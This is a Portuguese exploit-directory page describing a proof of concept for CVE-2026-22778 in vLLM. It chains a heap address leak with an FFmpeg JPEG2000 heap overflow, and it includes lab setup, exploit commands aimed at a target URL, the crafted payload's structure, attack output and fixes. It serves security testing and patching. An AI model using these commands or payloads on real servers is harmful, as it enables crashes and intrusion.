Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
EXPLOIT-CVE-2026-22778 — Prova de conceito de exploit para CVE-2026-22778, uma RCE não autenticada no processamento de vídeo do vLLM, demonstrando divulgação de endereço de heap e um estouro de buffer de heap no decodificador JPEG2000 do FFmpeg. Inclui um laboratório vulnerável para testes autorizados. | Kitploit
Ferramentas/GitHubGitHub/joaovicdev/exploit-cve-2026-22778
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebFuzzingTestes de PenetraçãoAprendizado e EducaçãoExploração de BináriosLabs e Prática
GitHub
joaovicdev/exploit-cve-2026-22778

EXPLOIT-CVE-2026-22778

Prova de conceito de exploit para CVE-2026-22778, uma RCE não autenticada no processamento de vídeo do vLLM, demonstrando divulgação de endereço de heap e um estouro de buffer de heap no decodificador JPEG2000 do FFmpeg. Inclui um laboratório vulnerável para testes autorizados.

Ver Repositório
1há 9h 14mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-22778 — RCE no vLLM no processamento de vídeo

Laboratório vulnerável + prova de conceito para CVE-2026-22778 (CVSS 9.8), uma cadeia de execução remota de código não autenticada no caminho de ingestão multimodal do vLLM.

CVECVE-2026-22778
AdvisoryGHSA-4r2x-xpjr-7cvv
AfetadovLLM >= 0.8.3, < 0.14.1 (implantações que servem modelos de vídeo)
Corrigido emvLLM 0.14.1
CVSS9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Bug subjacenteCVE-2025-9951 — estouro de buffer no heap no decodificador JPEG2000 do FFmpeg

A vulnerabilidade

Duas falhas separadas encadeadas. Um vllm serve padrão não possui autenticação, portanto ambas são alcançáveis sem autenticação em /v1/chat/completions e /v1/invocations.

Estágio 1 — divulgação de endereço do heap (bypass de ASLR)

Quando uma imagem falha ao ser analisada, o Pillow lança uma exceção cuja mensagem incorpora o repr() do objeto BytesIO do qual estava lendo:

root@kitploit:~
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>

O vLLM transformava falhas de carregamento de mídia em um HTTP 400 e retornava exc.detail ao cliente sem tratamento (api_server.py):

root@kitploit:~
async def http_exception_handler(_: Request, exc: HTTPException):
    err = ErrorResponse(
        error=ErrorInfo(
            message=exc.detail,          # <-- vaza o endereço literalmente
            ...

Esse único endereço reduz o ASLR do heap de ~32 bits de entropia para aproximadamente 3, que é o que torna o estágio 2 explorável em vez de apenas uma falha.

Estágio 2 — estouro de buffer no heap no decodificador JPEG2000

Uma video_url é buscada pelo servidor e entregue ao OpenCV:

root@kitploit:~
MediaConnector.load_from_url()      vllm/multimodal/utils.py
  -> OpenCVVideoBackend.load_bytes()   vllm/multimodal/video.py
    -> cv2.VideoCapture(BytesIO(data), backend, [])
      -> FFmpeg 5.1.x (empacotado em opencv-python-headless < 4.13)

O vLLM fixou opencv-python-headless >= 4.11.0, que acompanha o FFmpeg 5.1.x. Seu decodificador JPEG2000 seleciona o plano de destino diretamente da caixa de definição de canal (cdef) do arquivo — libavcodec/jpeg2000dec.c, write_frame_8:

root@kitploit:~
if (planar)
    plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...;   /* do componente      */
int h = tile->comp[compno].coord[1][1] - ...;   /* não do plano!       */

plane é controlado pelo atacante, mas w/h vêm do componente que está sendo decodificado, e nada verifica se um cabe no outro. Uma entrada cdef de cn=0, asoc=2 envia o componente 0 — o plano luma em resolução total — para o plano 1, o plano chroma com subamostragem 2×2.

Para o quadro de 150×64 que esta PoC usa:

tamanho
Componente Y (gravado)150 × 64 = 9.600 bytes
Plano U (destino)75 × 32 = 2.400 bytes
Estouro7.200 bytes além da alocação

O FFmpeg aloca cada plano como seu próprio AVBuffer, então o estouro percorre chunks adjacentes do heap — incluindo structs AVBuffer que contêm um ponteiro de função free. Combinado com o vazamento do estágio 1, sobrescrever esse ponteiro é o que transforma a corrupção em execução de código.

Esta PoC para na corrupção de memória. Ela prova a gravação fora dos limites ao matar o processo do servidor. O grooming do heap e a sobrescrita do ponteiro de função deliberadamente não são implementados.

O laboratório

lab/app.py é uma reimplementação mínima do caminho de ingestão multimodal do vLLM 0.13.0 — MediaConnector, ImageMediaIO, OpenCVVideoBackend e o tratador de erros anterior ao patch, cada um anotado com o arquivo upstream que espelha. O runtime do modelo é simulado: a vulnerabilidade vive inteiramente na ingestão de mídia, que é executada antes da inferência e não precisa de GPU ou pesos de modelo.

Tudo no caminho do ataque é real — a mesma chamada Pillow que vaza o endereço, e a mesma chamada cv2.VideoCapture em um opencv-python-headless==4.11.0.86 sem patch (FFmpeg 5.1.x, libavcodec 59.37.100).

Uso

root@kitploit:~
docker compose up -d --build
python3 exploit.py

Opções:

root@kitploit:~
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve                  # entregar o payload via HTTP
python3 exploit.py --write-payload evil.jp2 # apenas gravar o arquivo malicioso

O exploit é apenas biblioteca padrão pura — sem dependências.

Saída esperada

root@kitploit:~
[*] Stage 1 -- heap address disclosure via PIL error message
    HTTP 400
    cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Leaked heap address: 0xffff8f555300
    ASLR bypassed: the heap base is now known to ~3 bits of entropy.

[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
    Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
    Payload: 203 bytes, 150x64 yuv420p JP2
    cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane (7200-byte overflow)
    Request never completed: Remote end closed connection without response
    Probing /health to see what happened to the worker...
[+] Worker was killed and restarted: boot_id 95b62f18-... -> 4494d28c-...
[+] Out-of-bounds write confirmed.

E no lado do servidor:

root@kitploit:~
$ docker compose logs vllm
cve-2026-22778-lab  | INFO:     POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab  | corrupted size vs. prev_size
cve-2026-22778-lab  | INFO:     Started server process [1]

Encerramento:

root@kitploit:~
docker compose down

O payload

203 bytes, construídos do zero em build_payload(). Um contêiner JP2 contendo um codestream JPEG2000 mínimo que declara três componentes com subamostragem 4:2:0 (para que o FFmpeg aloque um quadro yuv420p), além de uma caixa cdef que os remapeia:

root@kitploit:~
cn=0, typ=0, asoc=2   <-- componente 0 (resolução total) no plano 1 (subamostrado)
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3

Os dados de coeficiente estão vazios. O decodificador ainda aloca o quadro a partir do cabeçalho SIZ e ainda executa o loop de gravação, portanto nenhum dado de imagem real é necessário.

Correção

vLLM 0.14.1, por meio de três PRs:

  • #31987 — adiciona sanitize_message(), removendo at 0x<addr>> dos reprs de objetos antes que cheguem ao cliente.
  • #32319 — direciona os caminhos de erro restantes por meio dela.
  • #32668 — eleva opencv-python-headless para >= 4.13.0, incorporando a correção do FFmpeg para CVE-2025-9951.

O FFmpeg upstream agora rejeita um mapa cdef que não seja uma permutação dos canais, e deriva o formato de pixel dos índices remapeados:

root@kitploit:~
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
    cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
    return AVERROR_INVALIDDATA;

Trocar o pin do laboratório para opencv-python-headless>=4.13.0 faz o mesmo payload falhar inofensivamente com error during processing marker segment ff51.

Se você não puder atualizar: não sirva modelos de vídeo, coloque autenticação na frente da API e restrinja a busca de mídia com --allowed-media-domains.

Notas

  • O laboratório reinicia automaticamente após cada falha, então a PoC pode ser executada repetidamente.
  • No Apple Silicon, deixe o docker compose compilar para a arquitetura arm64 nativa (o padrão). Forçar --platform linux/amd64 executa o contêiner sob emulação, onde o processo que aborta trava em vez de sair e a falha é mais difícil de observar.

Referências

  • NVD — CVE-2026-22778
  • Advisory do vLLM — GHSA-4r2x-xpjr-7cvv
  • Advisory do FFmpeg — GHSA-39q3-f8jq-v6mg (CVE-2025-9951)

Aviso legal

Para fins educacionais e testes de segurança autorizados apenas. Execute-o contra o laboratório neste repositório ou em sistemas para os quais você tenha permissão explícita de teste.

Baixar ferramenta